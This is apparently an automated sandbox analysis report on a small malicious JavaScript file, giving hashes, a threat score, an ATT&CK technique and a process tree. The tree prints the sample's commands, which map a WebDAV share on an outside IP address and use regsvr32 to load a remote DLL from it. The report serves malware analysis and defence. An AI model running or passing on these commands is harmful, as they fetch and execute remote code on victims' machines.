ce5adff2e4b668811792cd75a2130436badccb568084f1d28c1e98acf625fd06

Analysis

max time kernel
13s
max time network
18s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 13:34

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General

Target

2507722842344710326.js
Size

5KB
MD5

3e9de4d927f58cd9e3d3c628a83cb102
SHA1

b300fbf179e409a6baf15b49f42c479f5a105237
SHA256

3f8c9b44a3ef5b75e0c8cee685ac525e663779d0289db983b69c3266d5005197
SHA512

f0f0f9095696c59ae854d7855d67e51dcce0ab0f86ab776d10a5a59b8a003c7edd96c78004cafad5fd99e7f62e7ff6dd54fcaa468f192e1f2becf1eb3dd16e5d
SSDEEP

96:f1+FCjci1III5XuIIIi89VteXGP2yCKMlKFSXAKMG4xEkgxT:f14s1IIIQIII19VtK62yCKMlKFSXAKMw

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2196	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1612 wrote to memory of 2136	1612	wscript.exe	30
PID 1612 wrote to memory of 2136	1612	wscript.exe	30
PID 1612 wrote to memory of 2136	1612	wscript.exe	30
PID 2136 wrote to memory of 2700	2136	cmd.exe	32
PID 2136 wrote to memory of 2700	2136	cmd.exe	32
PID 2136 wrote to memory of 2700	2136	cmd.exe	32
PID 2136 wrote to memory of 2196	2136	cmd.exe	33
PID 2136 wrote to memory of 2196	2136	cmd.exe	33
PID 2136 wrote to memory of 2196	2136	cmd.exe	33
PID 2136 wrote to memory of 2196	2136	cmd.exe	33
PID 2136 wrote to memory of 2196	2136	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2507722842344710326.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2507722842344710326.js" "C:\Users\Admin\\wydjsg.bat" && "C:\Users\Admin\\wydjsg.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2700
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\82.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\wydjsg.bat

Filesize
5KB

MD5
3e9de4d927f58cd9e3d3c628a83cb102

SHA1
b300fbf179e409a6baf15b49f42c479f5a105237

SHA256
3f8c9b44a3ef5b75e0c8cee685ac525e663779d0289db983b69c3266d5005197

SHA512
f0f0f9095696c59ae854d7855d67e51dcce0ab0f86ab776d10a5a59b8a003c7edd96c78004cafad5fd99e7f62e7ff6dd54fcaa468f192e1f2becf1eb3dd16e5d

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